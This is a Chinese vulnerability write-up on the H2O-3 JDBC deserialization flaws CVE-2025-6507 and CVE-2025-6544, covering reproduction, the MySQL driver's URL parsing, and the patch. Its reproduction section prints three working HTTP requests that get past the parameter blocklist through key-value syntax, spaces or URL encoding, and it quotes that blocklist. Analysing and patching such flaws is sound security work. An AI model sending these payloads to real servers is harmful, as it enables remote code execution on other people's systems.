当前位置: 首页 > news >正文

H2O-3反序列化漏洞分析(CVE-2025-6507CVE-2025-6544)

image

image

环境搭建

https://h2o-release.s3.amazonaws.com/h2o/rel-3.46.0/7/index.html

image

下载 MySQL 驱动(https://repo1.maven.org/maven2/mysql/mysql-connector-java/8.0.12/mysql-connector-java-8.0.12.jar)并放在在同一目录下。正确的启动命令为:

# Windows
java -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp
​
# Linux / Mac
java -cp mysql-connector-java-8.0.12.jar:h2o.jar water.H2OApp
​
#调试启动命令
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp

启动成功后,访问 http://localhost:54321 就可以进入 H2O 的 Web 管理界面。

image

漏洞复现

MySQL 5.x 驱动只支持 Query String 格式(?key=value&key2=value2),且对 URL 解析较为严格。 MySQL 8.x 驱动引入了更灵活的 URL 解析机制,支持多种格式,并对参数解析有更宽松的处理。

  • Key-Value 格式绕过:Key-Value 格式是 MySQL 8.x 才引入的 URL 格式,采用 括号包裹、逗号分隔的方式处理参数。H2O 的正则只匹配 ?​、;​、&后面的参数名,逗号不在匹配范围之内。

  • 空格绕过:在参数名前添加空格,绕过正则匹配。空格不是字母 [a-z],正则匹配失败。

  • 编码绕过:对参数名进行 URL 编码,使正则无法匹配出参数名。

Key-Value 格式

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 191
​
{ "connection_url": "jdbc:mysql://(host=127.0.0.1,port=59351, autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=deser_CB_calc)/test"
}

image

空格绕过

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 180
​
{ "connection_url": "jdbc:mysql://127.0.0.1:59351/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

image

编码绕过

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 242
​
{ "connection_url": "jdbc:mysql://127.0.0.1:59351/test?%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65=true&%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

image

漏洞分析

第一次补丁链接 https://github.com/h2oai/h2o-3/commit/f714edd6b8429c7a7211b779b6ec108a95b7382d

image

water.jdbc.SQLManager#importSqlTable

image

water.jdbc.SQLManager.SQLImportDriver#compute2

image

water.jdbc.SQLManager#getConnectionSafe

image

water.jdbc.SQLManager#validateJdbcUrl

image

private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)[?;&]([a-z]+)=");
private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相关危险参数"autoDeserialize",            // 允许反序列化"queryInterceptors",          // 8.x版本拦截器"allowLoadLocalInfile",       // 允许读取本地文件"allowMultiQueries",          // 允许多语句执行"allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", 
// H2数据库相关危险参数"init",                         // 初始化时执行SQL/脚本"script",                       // 执行脚本 "shutdown"                      // 关闭数据库
).map(String::toLowerCase).collect(Collectors.toList());

ConnectionUrlParser 是 MySQL 8.x 驱动中专门负责解析 JDBC URL 的类,所有 URL 解析都从它的构造函数开始。调用 parseConnectionString 提取 connString 各个部分,存储到实例变量

com.mysql.cj.conf.ConnectionUrlParser#parseConnectionString()

image

CONNECTION_STRING_PTRN = Pattern.compile(   "(?<scheme>[\\w:%]+)\\s*" +                    // 协议部分   "(?://(?<authority>[^/?#]*))?\\s*" +           // authority 部分(主机信息)   "(?:/(?!\\s*/)(?<path>[^?#]*))?" +             // path 部分(数据库名)   "(?:\\?(?!\\s*\\?)(?<query>[^#]*))?" +         // query 部分(参数)   "(?:\\s*#(?<fragment>.*))?"                    // fragment 部分(锚点,很少用)
);

https://regex101.com/

image

image

空格会被包含在 query 中 也被匹配到

【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

JDBC URL 支持两种不同位置放置连接参数:

链路一:getHosts() 链路:当 MySQL 驱动需要获取主机连接信息,参数放置在 Authority 部分//后面

getHosts() → parseAuthoritySection() → parseAuthoritySegment() → buildHostInfoResortingToKeyValueSyntaxParser() → processKeyValuePattern() → safeTrim() → decode()

com.mysql.cj.conf.ConnectionUrlParser#parseAuthoritySegment 尝试多种解析方式

image

处理 (host\=x,port\=x,...) 格式【KEY-VALUE 格式绕过入口】 

com.mysql.cj.conf.ConnectionUrlParser#buildHostInfoResortingToKeyValueSyntaxParser

image

image

image

核心解析逻辑【处理空格+编码】

com.mysql.cj.conf.ConnectionUrlParser#processKeyValuePattern

image

调用 StringUtils.safeTrim 去除首尾空格 decode 用于URL解码

【编码绕过的关键】

com.mysql.cj.conf.ConnectionUrlParser#decode

image

MySQL 驱动的 decode() 是单次解码,所以单次 URL 编码可以绕过校验,双重 URL 编码不能绕过

 

链路二:getProperties() 链路:当 MySQL 驱动需要获取连接参数,参数放置在 Query 部分 ? 之后 getProperties() → parseQuerySection() → processKeyValuePattern() → safeTrim() → decode() com.mysql.cj.conf.ConnectionUrlParser#parseQuerySection

image

image

image

修复方法

private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*");
​
 private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相关危险参数"autoDeserialize",            // 允许反序列化"queryInterceptors",          // 8.x版本拦截器"allowLoadLocalInfile",       // 允许读取本地文件"allowMultiQueries",          // 允许多语句执行"allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", "init", "script", "shutdown"
).map(String::toLowerCase).collect(Collectors.toList());

water.jdbc.SQLManager#validateJdbcUrl

image

修复空格绕过

// 旧正则(3.46.0.5 - 有漏洞)
Pattern.compile("(?i)[?;&]([a-z]+)=")
​
// 新正则(3.46.0.8 - 已修复)
Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*")

001.png

新正则的匹配规则

Payload: jdbc:mysql://127.0.0.1/test?+autoDeserialize\=true

URL解码后: jdbc:mysql://127.0.0.1/test? autoDeserialize\=true

                              ↑
​     '+' 变成空格

正则: (?i)([a-z0-9_]+)\\s*=\\s*

字符串:test? autoDeserialize=true

扫描整个字符串,寻找所有 “参数名=”的模式

匹配到:autoDeserialize=

    ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
​([a-z0-9\_]+) 捕获到 "autoDeserialize"

旧思路:从分隔符开始匹配 → 容易被分隔符后的特殊字符串绕过

    `[?;&]([a-z]+)=`
​    ↑
​    必须紧跟分隔符

新思路:直接匹配所有“参数名=”模式 → 不依赖分割符位置

     `([a-z0-9_]+)\\s*=`
​        ↑
​    匹配任意位置的参数名

额外改进:

  • \\s*=\\s*​ 允许空格,防止 param = value 格式绕过

  • [a-z0-9_] 扩展字符集,覆盖更多参数名格式

修复编码绕过

            try {               for(int i = 0; i < 10; ++i) {                   previous = jdbcUrlDecode;                   jdbcUrlDecode = URLDecoder.decode(jdbcUrlDecode, "UTF-8");                   if (previous.equals(jdbcUrlDecode)) {                       break;                   }               }           } catch (UnsupportedEncodingException var7) {               throw new IllegalArgumentException("JDBC URL has wrong encoding");           }
​           if (!previous.equals(jdbcUrlDecode)) {               throw new IllegalArgumentException("JDBC URL contains invalid characters");
​

001.png

通过多次循环解码,直到解码后的字符串等于解码前的字符串(说明已完全解码),超过十次也强制结束循环。循环结束后会进行比较:如果解码前后仍不相等(说明10次还没解完),则抛出异常;如果相等,则使用完全解码后的字符串进行黑名单检查,从而避免通过多层 URL 编码绕过防护。

更多网安技能的在线实操练习,请点击这里>>

  

http://www.jsqmd.com/news/435442/

相关文章:

  • 受认可的美国海外仓靠谱不,收费标准是多少钱? - mypinpai
  • 真心不骗你! 自考必备的降AI率软件 千笔·专业降AIGC智能体 VS 学术猹
  • 日通机械基本信息有哪些,好用吗,在江苏地区口碑怎样? - 工业推荐榜
  • 2026中国的染发膏有比外国好的品牌吗?国货创新实力解析 - 品牌排行榜
  • ERROR 1820 (HY000): You must reset your password using ALTER USER statement‌
  • 聊聊2026年好用的劳动纠纷律师,证据精通文书起草维权有保障 - 工业品网
  • git批量删除本地多余分支
  • 深圳选到俄罗斯物流方案,易斯拉国际物流靠谱不? - 工业品牌热点
  • 如何查看文档真实修改时间?绕过表面显示的方法
  • 性价比高的劳动纠纷律师推荐,能处理索赔案件的有吗? - myqiye
  • 京东e卡回收热门平台流程复盘 - 京回收小程序
  • 第二届航空航天工程与材料技术国际会议(AEMT 2026)
  • 2026年江苏全自动缓冲纸袋机十大厂家排名,哪家值得选 - mypinpai
  • 2026三边封拉链袋评测:优质厂商推荐指南,三边封拉链袋/纹路袋/自立拉链袋/中封袋/包装袋,三边封拉链袋优质厂家选哪家 - 品牌推荐师
  • 2026年剖析江苏全自动多功能覆膜机,靠谱的供应商怎么选择 - 工业设备
  • 狗狗掉毛怎么改善,杭州鼎伴畅敏33好用吗 - 工业品牌热点
  • 总结秦皇岛不错的巨量推广公司,哪家性价比更高? - 工业推荐榜
  • KingbaseES PLSQL异常处理深度解析:机制、实践与优化
  • 我用Cursor开发了3个月,整理出这套提效4倍的工作流
  • 讲讲东宇电气好不好,设备与服务是否值得选择 - 工业品网
  • 2026江苏日通机械客户评价、技术创新与广告宣传效果,哪个更值得选 - myqiye
  • 参考文献崩了?AI论文工具 千笔写作工具 VS 文途AI,MBA专属神器!
  • 2026年气泡纸压花机选购指南,生产厂哪家更值得选揭秘 - mypinpai
  • 聊聊2026年江苏靠谱的全自动多功能覆膜机优质生产商有哪些 - mypinpai
  • 好用的头皮精华排行:清爽不油腻,吸收快是关键 - 博客万
  • 2026年江苏好用的全自动多功能覆膜机推荐,这些品牌值得关注 - 工业设备
  • 2026年商用厨房设备与不锈钢橱柜厂家推荐排行榜:专业定制集成式排烟罩燃气灶,餐饮酒店食堂高效解决方案精选 - 品牌企业推荐师(官方)
  • 2026年il-1β elisa试剂盒:优质生产厂家大揭秘,大鼠ELISA,il-1β elisa试剂盒厂商联系方式 - 品牌推荐师
  • 2026年气泡纸压花机费用全了解,江苏高口碑品牌与生产厂大盘点 - 工业设备
  • 2026年上海房屋出租平台综合评测与选择指南 - 2026年企业推荐榜